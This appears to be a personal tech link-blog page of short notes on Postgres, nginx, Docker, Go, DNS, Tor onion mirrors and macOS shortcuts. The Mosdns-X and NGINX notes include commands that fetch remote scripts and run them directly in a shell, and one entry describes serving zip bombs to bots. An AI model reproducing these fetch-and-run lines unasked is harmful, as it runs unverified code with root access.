Links on Ricky

Tools

Sun, 15 Mar 2026 17:52:24 +0800

tirith: Tirith guards the gate and intercepts suspicious URLs, ANSI injection, and pipe-to-shell attacks before they execute.
subtrace: Inspect HTTP requests in any server with just a single command.
prek: ⚡ Better pre-commit, re-engineered in Rust
sandbox-exec: macOS’s Little-Known Command-Line Sandboxing Tool
babyshark: Flows-first PCAP TUI (case files, gorgeous UX).
llmfit: A terminal tool that right-sizes LLM models to your system’s RAM, CPU, and GPU. Detects your hardware, scores each model across quality, speed, fit, and context dimensions, and tells you which ones will actually run well on your machine.

sandbox-exec(Deprecated)

sandbox-exec -f profile.sb command_to_run

Articles

Fri, 13 Mar 2026 18:30:42 +0800

It’s 2026, Just Use Postgres

The “Use the Right Tool” Trap

You’ve heard the advice: “Use the right tool for the right job.”

Sounds wise. So you end up with:

Elasticsearch for search
Pinecone for vectors
Redis for caching
MongoDB for documents
Kafka for queues
InfluxDB for time-series
PostgreSQL for… the stuff that’s left

Here’s what most people don’t realize: Postgres extensions use the same or better algorithms as specialized databases (in many cases).

Selectively Disabling HTTP/1.0 and HTTP/1.1

Tue, 03 Feb 2026 09:41:12 +0800

Selectively Disabling HTTP/1.0 and HTTP/1.1

http {

 ...

 # Check for text-based browsers
 map $http_user_agent $is_text_browser {
 default 0;

 # Text-Based Browsers (not exhaustive)
 "~*^w3m" 1;
 "~*^Links" 1;
 "~*^ELinks" 1;
 "~*^lynx" 1;

 # Bots (not exhaustive)
 "~*Googlebot" 1;
 "~*bingbot" 1;
 "~*Yahoo! Slurp" 1;
 "~*DuckDuckBot" 1;
 "~*YandexBot" 1;
 "~*Kagibot" 1;
 }

 # Check if request is HTTP/1.X
 map $server_protocol $is_http1 {
 default 0;
 "HTTP/1.0" 1;
 "HTTP/1.1" 1;
 }

 # If Request is not text-based browser,
 # and is HTTP/1.X, set the http1_and_unknown variable
 # to 1, which is equivalent to "true"
 map "$is_http1:$is_text_browser" $http1_and_unknown {
 default 0;
 "1:0" 1;
 }

 ...

}

Go Tool Trace

Tue, 27 Jan 2026 09:54:42 +0800

Trace is an “event timeline”, not “sampling statistics”

go tool trace: used to inspect runtime traces. Its essence is a time-ordered event stream, including:
- goroutine lifecycle/states: create / runnable / running / waiting / syscall
- scheduler (G/M/P) related events, scheduling latency
- blocking time distribution (net / sync / syscall)
- GC events, STW, heap changes (visible in the trace viewer)
Use pprof to find hot spots: who burns CPU, who allocates a lot
Use trace to find latency causes: why it’s stuck (scheduling? locks? network? syscalls? GC?)

Quick intuition:

I Replaced Redis with PostgreSQL (And It's Faster)

Mon, 19 Jan 2026 15:45:23 +0800

I Replaced Redis with PostgreSQL (And It’s Faster)

Before the change, Redis handled three things:

Caching (70% of usage)
Pub/Sub (20% of usage)
Background Job Queue (10% of usage)

The pain points:

Two databases to backup
Redis uses RAM (expensive at scale)
Redis persistence is… complicated
Network hop between Postgres and Redis

PostgreSQL Feature

1: Caching with UNLOGGED Tables

Redis

await redis.set("session:abc123", JSON.stringify(sessionData), "EX", 3600);

PostgreSQL

CREATE UNLOGGED TABLE cache (
 key TEXT PRIMARY KEY,
 value JSONB NOT NULL,
 expires_at TIMESTAMPTZ NOT NULL
);

CREATE INDEX idx_cache_expires ON cache(expires_at);

Insert

Taiwanese Minnan Input Method App Launched: Mobile Devices Can Now Type Taiwanese

Thu, 15 Jan 2026 21:10:20 +0800

The “Taiwanese Minnan Input Method” supports both phonetic input and voice input, allowing users to convert speech into text.

Replace Watchtower with WUD: Build a Controlled Docker Auto-Update Plan

Sun, 11 Jan 2026 15:22:11 +0800

Replace Watchtower with WUD: Build a Controlled Docker Auto-Update Plan

WUD (What’s Up Docker)

services:
 wud:
 image: getwud/wud:latest
 container_name: wud
 restart: unless-stopped
 ports:
 - "3000:3000"
 volumes:
 - /var/run/docker.sock:/var/run/docker.sock
 - ./store:/store
 environment:
 - TZ=Asia/Shanghai

 # Local Docker watcher
 - WUD_WATCHER_LOCAL_SOCKET=/var/run/docker.sock

 # Key: do not watch any containers by default
 - WUD_WATCHER_LOCAL_WATCHBYDEFAULT=false

 # Scan every 12 hours
 - WUD_WATCHER_LOCAL_CRON=0 */12 * * *

 # Auto update + prune old images after update
 - WUD_TRIGGER_DOCKER_AUTO_PRUNE=true # Equivalent to `watchtower --cleanup`

Monitor only (no auto update)

labels:
 - "wud.watch=true"

Appears in the WUD UI
Shows update hints
Does not auto-restart

Monitor + auto update (Watchtower equivalent)

labels:
 - "wud.watch=true"
 - "wud.trigger.include=docker.auto"

What Happened To WebAssembly

Sun, 11 Jan 2026 15:22:11 +0800

How Terminals Work

Fri, 09 Jan 2026 16:11:33 +0800

How Terminals Work

Python Numbers Every Programmer Should Know

Sun, 04 Jan 2026 07:06:28 +0800

Python Numbers Every Programmer Should Know

Why is this running?

Tue, 30 Dec 2025 11:33:23 +0800

Why is this running?

Expose your local web server to the internet with a public URL.

Sat, 27 Dec 2025 15:24:41 +0800

Expose your local web server to the internet with a public URL.

Rainman Engineering Culture: Eight Interview Questions to Spot Excellence

Mon, 22 Dec 2025 08:40:00 +0800

Rainman Engineering Culture: Eight Interview Questions to Spot Excellence

CI/CD tools: collaborative GitLab/GitHub, or gate-heavy Gerrit/Jenkins?
Approval flow: how many boss sign-offs does a merge request (MR) need?
Environment isolation: separate Dev/Test/Prod environments, and can you switch/deploy with one click?
Deployment chain: from code to user-visible, how many steps? Automated or manual?
Monitoring: do alerts point to root cause, or are engineers digging through logs at night?
Config management: centralized with canary/gradual release, or scattered across code with manual edits?
Test coverage: a reliable automated “immune system,” or treat bugs as features and let users test in production?
Rollback: when production blows up, can you roll back within 5 minutes, or stay up all night with the team?

A fast and powerful log viewer and processor that converts JSON logs or logfmt logs into a clear human-readable format.

Sun, 14 Dec 2025 21:06:20 +0800

A fast and powerful log viewer and processor that converts JSON logs or logfmt logs into a clear human-readable format.

Convert your codebase into a single LLM prompt.

Thu, 11 Dec 2025 13:16:46 +0800

Convert your codebase into a single LLM prompt.

How to Install Fedora Linux on Surface Go 2 to Boost Entry-Level Tablet Performance

Thu, 11 Dec 2025 10:18:47 +0800

How to Install Fedora Linux on Surface Go 2 to Boost Entry-Level Tablet Performance

Surface Go 2 (Intel Pentium 4425Y, 4G/64G) WiFi edition

For Surface Go 2 hardware support, see this GitHub table: Supported Devices and Features

Create a Linux boot drive

Download the ISO from the Fedora KDE official site.
Use Ventoy to create a boot drive.
Surface Go 2 only has Type-C ports, so you may need a hub. It cannot boot from an SD card.

Install Linux

Shut down the Surface Go 2.
Hold the power button and volume up to enter UEFI. The interface is touch-capable, but you may still need a physical keyboard for installation.
Fedora supports Secure Boot, but it is recommended to disable it to avoid manual signing when installing drivers.
Set the boot order to the USB drive.
Boot and follow the installer. Choose to wipe the disk and install Fedora.
For Chinese input, install Fcitx5:
- sudo dnf install fcitx5 fcitx5-chewing fcitx5-gtk3 fcitx5-gtk4 fcitx5-qt fcitx5-qt6 fcitx5-configtool
Tip: Fedora enables zRAM by default. If the Surface Go has limited RAM, edit /etc/systemd/zram-generator.conf to increase SWAP size (MB).
- [zram0]
- zram-size = 8192

Install the linux-surface kernel

Follow the GitHub instructions. On Fedora, add the linux-surface repo to the system:
- sudo dnf config-manager addrepo --from-repofile=https://pkg.surfacelinux.com/fedora/linux-surface.repo
Install the linux-surface kernel and reboot:
- sudo dnf install --allowerasing kernel-surface iptsd libwacom-surface
Use uname -a to verify the kernel is switched; it should show linux-surface.
Fedora updates kernels frequently, so new kernels may override the linux-surface kernel. After installing the linux-surface packages, the linux-surface-default-watchdog.path service is enabled automatically to ensure linux-surface is used on boot.

Using the virtual keyboard on KDE

Enable it in System Settings → Keyboard → Virtual Keyboard. Note that this keyboard cannot be used with Fcitx5.

VSCode Integration with DevSpace for Debugging!

Wed, 10 Dec 2025 15:16:12 +0800

Install required tools 📦

# Check Go version
go version

# Install the Delve debugger
go install github.com/go-delve/delve/cmd/dlv@latest

# Check DevSpace version
devspace version

# Install VSCode Go extensions
code --install-extension golang.go
code --install-extension devspace.devspace

Project structure design 📁

.
├── cmd
│ └── main.go
├── devspace.yaml
├── Dockerfile.dev
├── Dockerfile.prod
├── go.mod
├── go.sum
├── internal
│ ├── handler.go
│ ├── model.go
│ └── service.go
├── k8s
│ └── dev
│ ├── deployment.yaml
│ └── service.yaml
├── main
└── start-dev.sh

Prepare the Go application 🚀

First, build a simple but practical Go application with a few API endpoints so you can test breakpoints.

Harden a Server with Fail2Ban + nftables

Mon, 08 Dec 2025 16:45:51 +0800

Harden a Server with Fail2Ban + nftables

parqeye

Tue, 18 Nov 2025 20:49:44 +0800

parqeye

install methods

cargo install parqeye
brew install kaushiksrini/parqeye/parqeye

Mosdns-X

Sun, 09 Nov 2025 20:32:00 +0800

install

bash <(curl -sL https://raw.githubusercontent.com/lidebyte/bashshell/refs/heads/main/mosdns-x-manager.sh)

config

sudo tee /etc/mosdns-x/config.yaml > /dev/null <<'EOF'
# mosdns-x concurrent query (no split routing) config

log:
 level: info
 file: /var/log/mosdns-x/mosdns-x.log

plugins:
 # Cache plugin
 - tag: cache
 type: cache
 args:
 size: 1024
 lazy_cache_ttl: 1800

 # Concurrent upstreams: take the first usable answer
 - tag: forward_all
 type: fast_forward
 args:
 upstream:
 # AliDNS
 - addr: "udp://223.5.5.5"
 - addr: "tls://dns.alidns.com"

 # DNSPod / doh.pub
 - addr: "udp://119.29.29.29"
 - addr: "tls://dot.pub"

 # Cloudflare
 - addr: "udp://1.1.1.1"
 - addr: "tls://cloudflare-dns.com"

 # Google
 - addr: "udp://8.8.8.8"
 - addr: "tls://dns.google"

 # Main pipeline: small cache -> concurrent selection
 - tag: main
 type: sequence
 args:
 exec:
 - cache
 - forward_all

# Listen on dual-stack UDP/TCP 53
servers:
 - exec: main
 listeners:
 - addr: :53
 protocol: udp
 - addr: :53
 protocol: tcp
EOF

systemd

sudo tee /etc/systemd/system/mosdns.service > /dev/null <<'EOF'
[Unit]
Description=Mosdns-X DNS Accelerator
After=network.target

[Service]
Type=simple
User=root
Group=root
ExecStart=/usr/local/bin/mosdns-x start --as-service -d /usr/local/bin -c /etc/mosdns-x/config.yaml
Restart=always
RestartSec=5
StandardOutput=journal
StandardError=journal
SyslogIdentifier=mosdns

[Install]
WantedBy=multi-user.target
EOF

sudo systemctl daemon-reload
sudo systemctl enable --now mosdns

# Backup system DNS
sudo cp -n /etc/resolv.conf /etc/resolv.conf.mosdns-backup

# Switch to local Mosdns-X
echo -e "nameserver 127.0.0.1\noptions edns0" | sudo tee /etc/resolv.conf

# If port 53 is occupied by systemd-resolved, disable it
sudo systemctl disable --now systemd-resolved 2>/dev/null || true

# If you also want to lock it (prevent DHCP changes), run chattr too:
echo -e "nameserver 127.0.0.1\n" > /etc/resolv.conf && chattr +i /etc/resolv.conf

# Check process status
sudo systemctl status mosdns --no-pager

# Test resolution speed (second run should hit cache)
dig +stats www.google.com
dig +stats www.baidu.com

# View logs in real time
tail -f /var/log/mosdns-x/mosdns-x.log

go-synctest

Fri, 07 Nov 2025 14:06:00 +0800

go-synctest

func TestAfterFunc(t *testing.T) {
 synctest.Test(t, func(*testing.T) {
 ctx, cancel := context.WithCancel(context.Background())

 called := false
 context.AfterFunc(ctx, func() { called = true })

 synctest.Wait() // Wait until all goroutines are blocked
 if called {
 t.Fatal("AfterFunc was called before cancel")
 }

 cancel()

 synctest.Wait() // Wait again
 if !called {
 t.Fatal("AfterFunc was not called after cancel")
 }
 })
}

onion-mirror

Thu, 30 Oct 2025 17:49:44 +0800

onion-mirror

Install Tor

sudo apt update
sudo apt install tor

Configure Tor

# Disable SOCKS proxy since we aren't making outbound connections
# through Tor
SocksPort 0
# Make sure Tor runs as a daemon (i.e. in the background)
RunAsDaemon 1
# Setup the hidden service on port 80, this is where we tell Tor to
# create a .onion service for our web server
HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 80
# Disable inbound connections, since we aren't running a relay or
# exit node
ORPort 0
# Disable directory services, since we won't be mirroring directory
# information to other Tor nodes
DirPort 0

sudo systemctl restart tor

Get Your .onion Address

sudo cat /var/lib/tor/hidden_service/hostname

Configure Caddy

http://jytkco7clxwj4hhzaydhk4kr3hwzsdzyvtsc6zn2ivog5uma5pxowzad.onion:80 {
# Set up a reverse proxy, or serve static files, etc.
}

Advertise Your .onion Address

header {
Onion-Location http://jytkco7clxwj4hhzaydhk4kr3hwzsdzyvtsc6zn2ivog5uma5pxowzad.onion{uri}
}

NGINX Native ACME Support: Rethinking TLS Automation from the Ground Up

Mon, 20 Oct 2025 16:31:00 +0800

NGINX Native ACME Support: Rethinking TLS Automation from the Ground Up

`ngx_http_acme_module`

NGINX 1.25.1

Pre-install

# Install build tools and NGINX dependencies on Debian/Ubuntu
sudo apt update
sudo apt install build-essential libpcre3-dev zlib1g-dev libssl-dev pkg-config libclang-dev git -y

# Install the Rust toolchain (cargo and rustc)
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source $HOME/.cargo/env

mkdir -pv /app/nginx/{logs,conf,cache, acme} /app/nginx-build
cd /app/nginx-build

# Clone the ACME module source
git clone https://github.com/nginx/nginx-acme.git /app/nginx-build/nginx-acme
# Or
# git clone git@github.com:nginx/nginx-acme.git /app/nginx-build/nginx-acme

# Download the NGINX source (replace with the version you need)
wget https://nginx.org/download/nginx-1.28.0.tar.gz
tar -zxf nginx-1.28.0.tar.gz

Compile

cd nginx-1.28.0
./configure \
 --prefix=/app/nginx \
 --error-log-path=/app/nginx/error.log \
 --http-log-path=/app/nginx/access.log \
 --pid-path=/app/nginx/nginx.pid \
 --lock-path=/app/nginx/nginx.lock \
 --http-client-body-temp-path=/app/nginx/cache/client_temp \
 --http-proxy-temp-path=/app/nginx/cache/proxy_temp \
 --http-fastcgi-temp-path=/app/nginx/cache/fastcgi_temp \
 --http-uwsgi-temp-path=/app/nginx/cache/uwsgi_temp \
 --http-scgi-temp-path=/app/nginx/cache/scgi_temp \
 --user=nginx \
 --group=nginx \
 --with-compat \
 --with-file-aio \
 --with-threads \
 --with-http_addition_module \
 --with-http_auth_request_module \
 --with-http_dav_module \
 --with-http_flv_module \
 --with-http_gunzip_module \
 --with-http_gzip_static_module \
 --with-http_mp4_module \
 --with-http_random_index_module \
 --with-http_realip_module \
 --with-http_secure_link_module \
 --with-http_slice_module \
 --with-http_ssl_module \
 --with-http_stub_status_module \
 --with-http_sub_module \
 --with-http_v2_module \
 --with-http_v3_module \
 --with-mail \
 --with-mail_ssl_module \
 --with-stream \
 --with-stream_realip_module \
 --with-stream_ssl_module \
 --with-stream_ssl_preread_module \
 --with-cc-opt='-g -O2 -ffile-prefix-map=/home/builder/debuild/nginx-1.28.0/debian/debuild-base/nginx-1.28.0=. -fstack-protector-strong -Wformat -Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 -fPIC' \
 --with-ld-opt='-Wl,-z,relro -Wl,-z,now -Wl,--as-needed -pie' \
 --add-dynamic-module=/app/nginx-build/nginx-acme

make && \
 make modules && \
 make install

# Run the configure script; the key is --add-dynamic-module
# Note: include all existing NGINX build flags; see nginx -V
# Build the module; note it is make modules, not make install

Config

# /app/nginx/conf/nginx.conf
user nginx;
error_log error.log debug;
pid nginx.pid;

load_module modules/ngx_http_acme_module.so;

events {
 worker_connections 1024;
 multi_accept on;
}

http {
 include mime.types;
 default_type application/octet-stream;
 log_format main '$remote_addr - $remote_user [$time_local] "$host" "$request" '
 '$status $body_bytes_sent "$http_referer" '
 '"$http_user_agent" "$http_x_forwarded_for"';

 access_log access.log main;
 sendfile on;
 tcp_nopush on;
 charset utf-8;
 keepalive_timeout 65;
 gzip on;

 resolver 8.8.8.8 1.1.1.1;
 # Define an ACME issuer instance named letsencrypt
 acme_issuer letsencrypt {
 # Set the ACME directory URL; this is Let's Encrypt production
 uri https://acme-v02.api.letsencrypt.org/directory;
 # Provide a contact email for CA notices (e.g., expiration)
 contact mailto:security-alerts@aidig.co;
 # State file path for ACME account key material
 state_path acme/letsencrypt;
 # Accept the terms of service; required for Let's Encrypt
 accept_terms_of_service;
 }
 # Optional acme_shared_zone stores certs, keys, and challenges for issuers.
 # Default size is 256K; increase as needed.
 acme_shared_zone zone=acme_shared:1M;

 server {
 listen 443 ssl;
 server_name ssl.aidig.co;

 # Step 1: enable ACME for this server and select the letsencrypt issuer
 acme_certificate letsencrypt;
 # Step 2: use dynamic variables managed in memory by the ACME module
 ssl_certificate $acme_certificate;
 ssl_certificate_key $acme_certificate_key;
 ssl_certificate_cache max=2; # required ngx 1.27.4+

 location / {
 default_type text/plain;
 return 200 'OK';
 }
 }

 server {
 listen 80 default_server;
 server_name _;

 # ACME handles /.well-known/acme-challenge/ automatically; this is for all other requests
 location / {
 return 301 https://$host$request_uri;
 }
 }
}

Reduce the Chance of Home Web Services Being Reported

Thu, 02 Oct 2025 09:54:00 +0800

Reduce the Chance of Home Web Services Being Reported
When a plaintext request hits an HTTPS service, Nginx returns a special 497 status code. If that happens, we want Nginx to close the connection and return no response. This requires another non-standard status code 444. Combining the two, add the following config in the server:

error_page 497 @close;

location @close {
 return 444;
}

Use the error_page directive to map 497 to the virtual path @close. When Nginx handles @close, it returns 444 and closes the connection.

Privacy Badger: A Free EFF Browser Extension to Block Online Tracking

Mon, 29 Sep 2025 16:41:00 +0800

Privacy Badger: A Free EFF Browser Extension to Block Online Tracking

Containers From Scratch by Golang (feat. Liz Rice)

Wed, 10 Sep 2025 09:50:00 +0800

As we enhance the functionality of our small program, we will explore the following topics, allowing us to create a basic simulation of a non-production container environment.

UTS Namespace
Chroot
PID Namespace
Mount Namespace
Control Group
Rootless Container

A Brief Look at Go Iterators

Sat, 06 Sep 2025 21:30:00 +0800

A Brief Look at Go Iterators

type Seq[V any] func(yield func(V) bool)
type Seq2[K, V any] func(yield func(K, V) bool)

Docker Containers Can't Access the Internet? NAT Configuration Guide for nftables

Wed, 03 Sep 2025 09:03:00 +0800

Docker Containers Can’t Access the Internet? NAT Configuration Guide for nftables

Dedicated Server CPU Frequency Maximization Guide

Tue, 02 Sep 2025 08:24:00 +0800

Dedicated Server CPU Frequency Maximization Guide

Check which CPU mode is in use

Prerequisites System: Linux (Debian, Ubuntu, Proxmox, etc.)

Privileges: root

CPU: supports dynamic frequency scaling (Intel Xeon, AMD EPYC / Ryzen, etc.)

governor

cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor

powersave: low-power mode (locked low frequency, power-saving but weak)
ondemand: on-demand boost (only boosts when needed, may respond a bit slowly)
performance: full performance (this is what we want)

Check which driver the kernel uses (Intel / AMD)

cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_driver

6首國際最強公認催眠曲

Fri, 29 Aug 2025 15:58:00 +0800

6 首國際最強公認催眠曲

Marconi Union - Weightless
432Hz (深度治癒身心靈連接宇宙能量)
Clair de Lune
Deep sleep delta waves - Binaural beats sleep (30 分鐘版本)
Erik SATIE - Gymnopédie No. 1 (鋼琴慢速版)
Himalayan Healing - Tibetan Singing Bowls Meditation (15 分鐘版本)

Use LinuxServer.io Docker Images to Turn Desktop Apps into Web Apps

Fri, 01 Aug 2025 15:52:00 +0800

Gluetun: Route Docker Containers Through a VPN, Disconnect on No Network

Fri, 01 Aug 2025 15:51:00 +0800

Gluetun: Route Docker Containers Through a VPN, Disconnect on No Network

Gluetun

OpenVPN

services:
 gluetun:
 image: qmcgaw/gluetun
 container_name: gluetun
 restart: unless-stopped
 cap_add:
 - NET_ADMIN
 devices:
 - /dev/net/tun:/dev/net/tun
 ports:
 - 8888:8888/tcp # HTTP proxy
 - 8388:8388/tcp # Shadowsocks
 - 8388:8388/udp # Shadowsocks
 volumes:
 - /home/user/gluetun:/gluetun
 environment: # Fill in based on your VPN provider's OpenVPN config
 - VPN_SERVICE_PROVIDER=protonvpn
 - VPN_TYPE=openvpn
 - OPENVPN_USER= # OpenVPN username
 - OPENVPN_PASSWORD= # OpenVPN password
 - SERVER_COUNTRIES=United Kingdom # Set server country, separated by commas
 networks: # (Optional) fixed IP for the Gluetun container
 network:
 ipv4_address: 172.27.0.5

networks: # (Optional) fixed IP for the Gluetun container
 network:
 driver: bridge
 ipam:
 config:
 - subnet: 172.27.0.0/16
 gateway: 172.27.0.5

WireGuard

services:
 gluetun:
 image: qmcgaw/gluetun
 container_name: gluetun
 restart: unless-stopped
 cap_add:
 - NET_ADMIN
 devices:
 - /dev/net/tun:/dev/net/tun
 ports:
 - 8888:8888/tcp # HTTP proxy
 - 8388:8388/tcp # Shadowsocks
 - 8388:8388/udp # Shadowsocks
 volumes:
 - /home/user/gluetun:/gluetun
 environment:
 - VPN_SERVICE_PROVIDER=protonvpn # Fill in based on your VPN provider's WireGuard config
 - VPN_TYPE=wireguard
 - WIREGUARD_PRESHARED_KEY= # Preshared key
 - WIREGUARD_PRIVATE_KEY= # Private key
 - WIREGUARD_ADDRESSES= # Set IPv4 and IPv6 addresses, separated by commas
 - SERVER_COUNTRIES=United Kingdom # Set server country, separated by commas
 networks: # (Optional) fixed IP for the Gluetun container
 network:
 ipv4_address: 172.27.0.5

networks: # (Optional) fixed IP for the Gluetun container
 network:
 driver: bridge
 ipam:
 config:
 - subnet: 172.27.0.0/16
 gateway: 172.27.0.5

Let containers use Gluetun’s VPN connection

If the service and Gluetun are in the same docker-compose, add network mode: network_mode: “service:gluetun”
If the service is in a different docker-compose from Gluetun, add network_mode: “container:gluetun”
Open Gluetun’s docker-compose file and re-add the service ports you need (e.g. 8080)
Start Gluetun first, then start services that should use Gluetun’s VPN connection
The container’s public IP should match the VPN server you selected

Go Practical Guide: Execute Lua Scripts with go-redis

Tue, 22 Jul 2025 16:56:00 +0800

Go Practical Guide: Execute Lua Scripts with go-redis

Redis command Eval
Redis package redis.NewScript, script.Run

TIL: timeout in Bash scripts

Thu, 12 Jun 2025 09:04:00 +0800

TIL: timeout in Bash scripts
timeout 1m ./until.sh
wrap

timeout 1m bash -c "until curl --silent --fail-with-body 10.0.0.1:8080/health; do
 sleep 1
done"

TaigiTube - Taiwanese Hokkien YouTube

Thu, 08 May 2025 08:43:00 +0800

TaigiTube - Taiwanese Hokkien YouTube

I use Zip Bombs to Protect my Server

Sat, 03 May 2025 11:24:00 +0800

I use Zip Bombs to Protect my Server
What happens is, they receive the file, read the header that instructs them that it is a compressed file. So they try to decompress the 1MB file to find whatever content they are looking for. But the file expands, and expands, and expands, until they run out of memory and their server crashes. The 1MB file decompresses into a 1GB. This is more than enough to break most bots. However, for those pesky scripts that won’t stop, I serve them the 10MB file. This one decompresses into 10GB and instantly kills the script.

Everyone Needs an HTTP Proxy to Debug

Fri, 25 Apr 2025 16:58:00 +0800

Everyone Needs an HTTP Proxy to Debug

Why are QR Codes with capital letters smaller than QR codes with lower-case letters?

Wed, 23 Apr 2025 15:45:00 +0800

Why are QR Codes with capital letters smaller than QR codes with lower-case letters?
If you want the smallest possible physical size for a QR code which contains a URl, make sure the text is all in capital letters.

Marp教學：Markdown搭配VS Code做簡報，快速輸出為PPTX或PDF，提昇做簡報效率

Tue, 08 Apr 2025 09:12:00 +0800

Marp 教學：Markdown 搭配 VS Code 做簡報，快速輸出為 PPTX 或 PDF，提昇做簡報效率

Install ‘Marp for VS Code’
在 Markdown 最前面的 FrontMatter，插入以下屬性，啟用 Marp，並開啟顯示頁數功能

---
marp:true
paginate: true
---

Markdown 文字都是直排排列的，需要換行請加上\。
輸入三條橫線---分隔投影片。
插入註解請用語法。

Go Protobuf: The New Opaque API

Mon, 07 Apr 2025 13:53:00 +0800

[Translated] Go Protobuf: The New Opaque API

protoc --proto_path=. \
 --go_out=./ \
+ --go_opt=default_api_level=API_OPAQUE \

macOS Tips & Tricks

Fri, 07 Mar 2025 16:05:00 +0800

macOS Tips & Tricks

General

Native UI Conventions

Press ⇧⌘/ to search all of the current app’s menu items. Then use the Up/Down arrow keys to navigate the results and press Return to execute that menu bar action.
Press ⌃F2 to move keyboard focus to the application’s menu bar. Start typing the first few letters of a menu title to jump to that menu.
Hold the Option key while expanding an outline view to recursively expand all children. (The easiest place to test this is in Finder’s List view.)
On modal dialogs/sheets, press Command + the first letter of the button to press that button. ⌘. is the shortcut equivalent of the Escape key.
Hold Control and Option while clicking on a window to switch focus to that window without raising it.
Hold Command while dragging a toolbar icon to move it to a new position.
By default, clicking inside a scroll bar will scroll partially towards the clicked location. Hold Option while clicking in the scroll bar to jump directly to the clicked location.
Hold Option while dragging the scroller to slowly scroll.
In a scroll view, use the Up/Down keys to scroll in small increments. Hold Option to scroll in larger increments, and hold Command to scroll to the beginning or end.
Hold Option while pressing the Page Up/Page Down keys to also move the cursor while scrolling.
In a text field that treats the Tab key as an input, press Control-Tab and Control-Shift-Tab to move focus to the previous or next control.
Press ⌃⌘D while holding the pointer over a word to view an inline dictionary definition of the word.
Press ⌃F6 to move focus to a floating window.
To quickly find text, select some text and press ⌘E followed by ⌘G.
Press ⌃⌫ to delete only the accent mark from the previous character (e.g. é will become e).
In Fonts windows, enter *X to scale the current font size, e.g. *1.5.
When entering text, press ⌥⇧K (on U.S. keyboards) to insert an Apple logo.
Hold Command while dragging a Picture-in-Picture (PiP) video player to move it anywhere without having it snap to one of the screen corners.

Screenshots

After pressing ⇧⌘4 and while drawing the screen capture area, hold Option while resizing to resize from the center, and hold Shift while resizing to adjust only one axis. After drawing the area, hold the Space bar and drag to move the selected area.
After pressing ⇧⌘4, hold Control while taking the screenshot to copy to the clipboard instead of saving to file.
After pressing ⇧⌘4, press the Space bar to select a window to screenshot. Hold down Option while taking the screenshot to remove the window’s shadow.
Right click on the floating screenshot preview to access additional actions.

Open/Save Dialogs

Drag a file or folder from Finder into an open/save dialog to jump directly to that file.
In save dialogs, press ⌘= to switch between the compact and expanded layout.
In save dialogs, press ⌘⌫ to activate the Delete button, ⌘D to activate the Don’t Save button, and ⌘. (or Esc) to activate the Cancel button.
Press ~ to open a Go To File dialog prefilled with the home directory. Press / to open it prefilled with the root directory.
Press ⌘R to reveal the selected item in Finder.

Mission Control / Window Management

When a window is inactive, use the Command key to interact with it without making it active.
Hold Control when pressing the Mission Control function key to only show the current app’s windows. Hold Command when pressing the Mission Control function key to show the desktop.
Hold Option while double-clicking a window’s corner to expand the window to fill the screen.
Option-Click to switch windows while hiding the previous app. Command-Option-Click to switch windows and hide all other apps.
In the Command-Tab app switcher, press the Up or Down arrow keys (or the 1 key) on an app to view that app’s windows.
In the Command-Tab app switcher, hold Option while switching to an app to un-minimize all its windows.
Press ⌘` to cycle between windows of the foreground application.
Press ⌃F4 to cycle between windows across all applications in the current desktop space.
Drag a window to the top of the screen and push it against the top of the screen to enter Mission Control with that window selected.
Press ⌥⌘W or hold Option while clicking the red close button, to close all of the foreground application’s open windows.
Press ⌥⌘M, or hold Option while clicking the yellow minimize button, to minimize all of the foreground application’s open windows.
Hold Option while clicking the green zoom button to fill the window to the screen instead of entering full-screen mode.
When configuring Hot Corners in System Settings, hold any or all of Control, Option, Command, or Shift to only activate the corner while the selected keys are also held down.
On a trackpad, use two fingers to double-tap (tap, not click) on an app’s Dock icon to show all of the app’s windows. Alternatively, perform the App Exposé trackpad gesture over an app’s Dock icon.
Hold Option while resizing a window to resize from the center of the window. Hold Shift while resizing a window to lock the aspect ratio.
Double-click a window’s border to resize that edge to fill the screen. Hold Option while double-clicking to expand both edges.
In Mission Control, perform a scroll up over a group of app windows to reveal the individual windows. Press the Space bar while holding the pointer over any window to magnify it.
In Mission Control, Option-click another desktop space to switch to that space while staying in Mission Control.
In Mission Control, drag the application icon underneath the windows to move all of an app’s windows to another space.
In Mission Control app window mode, press Tab and Shift-Tab to switch applications.
If a window was minimized in a different space, hold Command while un-minimizing to restore it to the current space.
Hold Option while un-minimizing a window to un-minimize all windows from that app.
If an app has windows in multiple spaces, click the app’s Dock icon repeatedly to cycle through the spaces with that app’s windows.
If keyboard shortcuts are enabled for switching desktop spaces, pressing a shortcut while clicking and holding a window will move the window to that space.
In Stage Manager, hold Shift while clicking on a window to add that window to the current stage instead of replacing it.

Function Keys

Hold down Shift and Option when changing the volume or brightness to make smaller adjustments.
Hold down Option while changing the brightness to quickly open Display settings, or while changing the volume to open Sound settings.
Hold down Shift while changing the volume to audibly preview the volume level.
When connected to an external display, hold down Control while changing the brightness to adjust the brightness of the non-active display.
Press and hold down on the Mission Control function key to automatically exit Mission Control after letting go of the key.

Hold Option while opening the Wi-Fi and Bluetooth menus to access extra options.
Hold Command while dragging a menu bar icon to move it to a new position.
Add new menu bar items by dragging icons from Control Center to the menu bar.
Option-click the date/time in the menu bar to toggle Do Not Disturb.
Right-click a widget to change its size.
On a trackpad, swipe horizontally with two fingers over a notification to dismiss that notification.

Finder

After copying a file, press ⌥⌘V to move the file instead of pasting a copy of it.
Press ⌃⌘N with multiple files selected to create a new folder with those items.
Press Tab and Shift-Tab to navigate through files alphabetically, regardless of the current sort ordering (only in Icons and List view).
Hold Option while activating Quick Look to immediately launch into full-screen view.
After opening Quick Look with multiple files selected, press ⌘⏎ to display a grid view of all items. Use the arrow keys to navigate and press Return to select an item to focus on.
In Quick Look, right-click on the “Open with” button to select a different app to use to open the file.
In Columns view, hold Option while resizing a column to simultaneously resize all columns.
In Columns view, double-click a column separator to auto-resize that column. Hold Option while double-clicking on any separator to auto-resize all columns.
In Columns view, click the empty space at the bottom of a folder to go to the parent folder.
In Columns view, and when in a deeply nested file, press Shift-Tab and Tab to navigate through the parent directories without losing the path to the file.
Hold Option while dragging a file to make a new copy instead of moving the original. Hold Command and Option to create an alias to the file.
In List view, press ⌘+ and ⌘- to increase and decrease the row size.
In List view, press ⌥↑ and ⌥↓ to select the top-most and bottom-most item.
In List view, use the Left and Right arrow keys to collapse and expand directories. When a file is selected, press the Left arrow key to jump to the parent folder.
